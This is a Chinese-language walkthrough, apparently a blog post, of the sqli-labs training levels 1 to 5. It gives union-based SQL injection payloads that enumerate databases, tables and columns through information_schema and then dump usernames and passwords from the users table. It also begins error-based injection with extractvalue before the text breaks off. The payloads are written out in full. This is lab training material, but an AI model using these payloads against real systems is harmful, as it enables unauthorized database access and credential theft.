sqli-labs 1——20关攻略

1~10 GET传输

Less-1联合查询[ ’ ]
优点:查询方便 速度很快
缺点:必须要有显示位

1、判断sql语句中一共返回了多少列

 order by 3 --+
对比如下两张图的显示页面。得知有3列

在这里插入图片描述
在这里插入图片描述
2、查看显示位

union select 1,2,3 --+

在这里插入图片描述
3、爆数据

union select 1,2,database()  ## 当前数据库名

在这里插入图片描述
4、爆库名

union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+			# 爆出一个数据库
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+		# 爆出全部数据库

在这里插入图片描述
在这里插入图片描述
5、爆表名

union select 1,database(),(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+			# 爆出数据库" security "里的一个表名
union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+		# 爆出数据库" security "里的所有表名

在这里插入图片描述
在这里插入图片描述
6、爆列名

union select 1,database(),( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+				# 从表名" users "中爆出一个字段来
union select 1,database(),( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+		# 从表名" users "中爆出全部字段来

在这里插入图片描述
在这里插入图片描述
7、爆数据

union select 1,database(),concat(id,0x7e,username,0x7e,password) from users limit 0,1 --+					# 从" users "表里对应的列名中爆出一个数据来
union select 1,database(),(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+		# 从" users "表里对应的列名中爆出所有数据来

在这里插入图片描述
在这里插入图片描述
至此,联合查询注入完成。

Less-2 联合查询[ ]
Less-3 联合查询[ ') ]
Less-4 联合查询[ ") ]
均按照Less-1查询步骤做细微调整即可(具体调整内容为见[ ]内)

Less-5 报错注入[ ’ ]
缺点:必须有数据库报错信息

1、判断是什么类型的注入
在这里插入图片描述

extractvalue

1、爆数据

and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+			# 当前数据库

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值